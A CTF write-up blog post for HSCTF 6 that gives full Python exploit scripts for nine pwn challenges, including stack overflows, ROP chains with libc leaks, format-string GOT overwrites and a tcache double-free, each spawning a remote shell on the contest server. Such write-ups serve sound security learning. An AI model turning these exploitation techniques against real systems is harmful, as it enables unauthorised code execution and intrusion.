CTFするぞ

CTF以外のことも書くよ

HSCTF 6 Writeup

I played HSCTF 6 in yoshikingdom and our team reached 11th place. I didn't plan to play this CTF but @y05h1k1ng suggested us to play this one as a joke (not in ordinary team) because it was about to the end of the CTF. So, 11th place in half a day. Not bad.

I solved pwn/forensic challs mainly and here I'm going to write the solutions for pwn challs since most of the forensic challs were boring. I like the pwn challs especially the last 3 heap ones though I couldn't finish 2 of them in the short time.

[Pwn 51] Intro to Netcat

Just nc to theserver.

[Pwn 168] Return to Sender

The binary has a simple stack overflow vulnerability and a win function which spawns the shell. So, we just have to overwrite the return address.

from ptrlib import *

elf = ELF("./return-to-sender")
sock = Socket("pwn.hsctf.com", 1234)

payload = b'A' * 0x14
payload += p32(elf.symbol("win"))
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:1234
[ptrlib]$ Where are you sending your mail to today? Alright, to AAAAAAAAAAAAAAAAAAAA¶ it goes!
cat flag
[ptrlib]$ hsctf{fedex_dont_fail_me_now}

[Pwn 243] Combo Chain Lite

The binary has a simple stack overflow and it gives us the address of system. It also has "/bin/sh" and we can use them to execute the shell.

from ptrlib import *

elf = ELF("./combo-chain-lite")
sock = Socket("pwn.hsctf.com", 3131)

rop_pop_rdi = 0x00401273

sock.recvuntil(": ")
addr_system = int(sock.recvline().rstrip(), 16)
addr_binsh = 0x402051

payload = b'A' * 0x10
payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)
payload += p64(addr_system)
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:3131
[ptrlib]$ cat flag
Dude you hear about that new game called /bin/sh? Enter the right combo for some COMBO CARNAGE!: [ptrlib]$ hsctf{wheeeeeee_that_was_fun}

[Pwn 333] Storytime

Same as the previous challs. The binary has a simple stack overflow vulnerability but no address is given. I leaked the libc address through GOT using write as rdx is big enough to leak the address when exiting the vuln function. The libc version turned out to be libc6_2.23-0ubuntu11_amd64.so using the libc database. After leaking the address we can just execute system("/bin/sh") because it's on libc-2.23.

from ptrlib import *

elf = ELF("./storytime")
#sock = Process("./storytime")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")
sock = Socket("pwn.hsctf.com", 3333)

plt_write = 0x4004a0
rop_pop_rdi = 0x00400703
rop_pop_rsi_r15 = 0x00400701

payload = b'A' * 0x38
payload += p64(rop_pop_rsi_r15)
payload += p64(elf.got("read"))
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(plt_write)
payload += p64(elf.symbol("_start"))
sock.recvuntil("story: \n")
sock.sendline(payload)
addr_read = u64(sock.recv(8))
logger.info("read = " + hex(addr_read))
libc_base = addr_read - libc.symbol("read")
logger.info("libc base = " + hex(libc_base))

payload = b'A' * 0x38
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.recvuntil("story: \n")
sock.sendline(payload)

sock.interactive()

Good.

$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:3333
[+] <module>: read = 0x7f13fd176250
[+] <module>: libc base = 0x7f13fd07f000
[ptrlib]$ cat flag
[ptrlib]$ hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}

I think there may be another easier solution for this because the next challenge is very similar.

[Pwn 365] Combo Chain

It's same as the previous challenge.

from ptrlib import *

elf = ELF("./combo-chain")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./combo-chain")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")
sock = Socket("pwn.hsctf.com", 2345)

plt_printf = 0x401050
rop_ret = 0x0040101a
rop_pop_rdi = 0x00401263

# leak
payload = b'A' * 0x10
payload += p64(rop_ret) # align
payload += p64(rop_pop_rdi)
payload += p64(elf.got("gets"))
payload += p64(plt_printf)
payload += p64(elf.symbol("_start"))
sock.recvuntil(": ")
sock.sendline(payload)
addr_gets = u64(sock.recv(6))
logger.info("gets = " + hex(addr_gets))
libc_base = addr_gets - libc.symbol("gets")
logger.info("libc base = " + hex(libc_base))

# get the shell!
payload = b'A' * 0x10
payload += p64(rop_ret) # align
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.recvuntil(": ")
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:2345
[+] <module>: gets = 0x7f34b0f6ad80
[+] <module>: libc base = 0x7f34b0efc000
[ptrlib]$ cat flag
[ptrlib]$ hsctf{i_thought_konami_code_would_work_here}

[Pwn 397] Bit

We can flip 4 bit in the memory. As there is a flag function, I changed the puts@plt written in puts@got to the flag address.

from ptrlib import *

elf = ELF("./bit")
#sock = Process("./bit")
sock = Socket("pwn.hsctf.com", 4444)

target = elf.got("exit")
before = 0x080484f6
after = elf.symbol("flag")
gomi = elf.got("setvbuf")

x = 0
for i in range(4):
    a = (before >> (i * 8)) & 0xff
    b = (after >> (i * 8)) & 0xff
    for j in range(8):
        if (a >> j) & 1 != (b >> j) & 1:
            sock.recvuntil("byte: ")
            sock.sendline(hex(target + i)[2:])
            sock.recvuntil("bit: ")
            sock.sendline(str(j))
            sock.recvuntil("byte: ")
            print(sock.recvline())
            x += 1

for i in range(4 - x):
    sock.recvuntil("byte: ")
    sock.sendline(hex(gomi)[2:])
    sock.recvuntil("bit: ")
    sock.sendline("0")
            
sock.interactive()

Be careful running this script as it goes infinite loop because exit(flag) calls exit inside.

$ python solve.py
...
[ð] pwn gods like you deserve this: hsctf{flippin_pwn_g0d}
...

[Pwn 425] Byte

We can change 2 bytes in this challenge and we have to change a local variable from 0 to 1. As the binary has a format string vulnerability, we can easily leak the address of the stack.

from ptrlib import *

#sock = Process("./byte")
sock = Socket("pwn.hsctf.com", 6666)

sock.recvuntil("byte: ")
sock.sendline("%7$p")
addr_stack = int(sock.recvuntil(" "), 16)
addr_target = addr_stack - 314
logger.info("target = " + hex(addr_target))

sock.recvuntil("byte: ")
sock.sendline(hex(addr_target)[2:])

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:6666
[+] <module>: target = 0xffb0200a
[ptrlib]$ ffb0200a has been nullified!

that was easy, right? try the next level (bit). here's your flag: hsctf{l0l-opt1mizati0ns_ar3-disabl3d}

[Pwn 427] Caesar's Revenge

It's caesar cipher service. The binary has a format string vulnerability.

from ptrlib import *

def decode(data, key):
    out = b''
    for c in data:
        if ord("a") <= c <= ord("z") or ord("A") <= c <= ord("Z"):
            out += bytes([c - 1])
        else:
            out += bytes([c])
    return out

elf = ELF("./caesars-revenge")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./caesars-revenge")
#delta = 0xe7
libc = ELF("libc6_2.23-0ubuntu11_amd64.so")
sock = Socket("pwn.hsctf.com", 4567)
delta = 0xf0

# Stage 1
writes = {elf.got("puts"): elf.symbol("caesar")}
payload = fsb(
    pos = 24,
    writes = writes,
    bs = 1,
    bits = 64
)
sock.recvuntil(": ")
sock.sendline(decode(payload, 1))
sock.recvuntil("shift: ")
sock.sendline("1")

# Stage 2
payload = b'%117$p'
sock.recvuntil(": ")
sock.sendline(decode(payload, 1))
sock.recvuntil("shift: ")
sock.sendline("1")
sock.recvuntil("Result: ")
addr_libc_start_main = int(sock.recvline().rstrip(), 16)
libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - delta
logger.info("libc base = " + hex(libc_base))

# Stage 3
one_gadget = libc_base + 0x4526a
writes = {elf.got("puts"): one_gadget}
payload = fsb(
    pos = 24,
    writes = writes,
    bs = 1,
    bits = 64
)
sock.recvuntil(": ")
sock.sendline(decode(payload, 1))
sock.recvuntil("shift: ")
sock.sendline("1")

sock.interactive()
$ python solve.py
[+] __init__: Successfully connected to pwn.hsctf.com:4567
[+] <module>: libc base = 0x7fb8a741d000
[ptrlib]$ cat flag
Result:                                                                                                          ð                                                                                                                                                                                                                          À                                                                                                                                                                                                                                                                                                                                                                                                                                                     ù                                                                                                                                                                                                                                                               c@@[ptrlib]$ hsctf{should_have_left_%n_back_in_ancient_rome}

[Pwn 451] Aria Writer

It's a heap challenge and there are 3 options in the menu.

  1. global = malloc(size); read(0, global, size);
  2. free(global);
  3. write(1, name, 0xc8);

It's a simple double free and tcache is enabled. However, there's no way to allocate a large chunk and leak the data written in global. I found RELRO disabled, which means we can change the addresses in GOT. So, my plan is:

  1. set free@got to puts@plt
  2. set global to puts@got
  3. leak puts address by calling free(global);
  4. set write@got to one gadget rce
  5. get the shell by calling write(1, name, 0xc8);

It's not necessary to use write so I could solve this challenge without using name.

from ptrlib import *

def alloc(size, data):
    sock.recvuntil("> ")
    sock.sendline("1")
    sock.recvuntil("> ")
    sock.sendline(str(size))
    sock.recvuntil("> ")
    sock.sendline(data)

def free():
    sock.recvuntil("> ")
    sock.sendline("2")

def secret():
    sock.recvuntil("> ")
    sock.sendline("3")

elf = ELF("./aria-writer")
libc = ELF("./libc-2.27.so")
#sock = Process("./aria-writer")
sock = Socket("pwn.hsctf.com", 2222)

plt_puts = 0x400750

# name
sock.recvuntil("> ")
sock.sendline("/bin/sh")

# double free for shell
alloc(0x38, "A")
free()
free()
alloc(0x38, p64(elf.got("write")))
alloc(0x38, "")

# double free for libc leak
alloc(0x28, "B")
free()
free()
alloc(0x28, p64(elf.symbol("global")))
alloc(0x28, "")

alloc(0x18, "C")
free()
free()
alloc(0x18, p64(elf.got("free")))
alloc(0x18, "")

# free@got = puts@plt
alloc(0x18, p64(plt_puts))

# global = puts@got
alloc(0x28, p64(elf.got("puts")))

# libc leak
free()
sock.recvline()
addr_puts = u64(sock.recvline().rstrip())
libc_base = addr_puts - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))

# write@got = one gadget
one_gadget = libc_base + 0x4f322
alloc(0x38, p64(one_gadget))

# get the shell!
secret()

sock.interactive()

I used write but other functions such as exit are OK. I wonder if it's the intended solution......

$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:2222
[+] <module>: libc base = 0x7fc1182f3000
[ptrlib]$ cat flag
secret name o: :[ptrlib]$ 
hsctf{1_should_tho}[ptrlib]$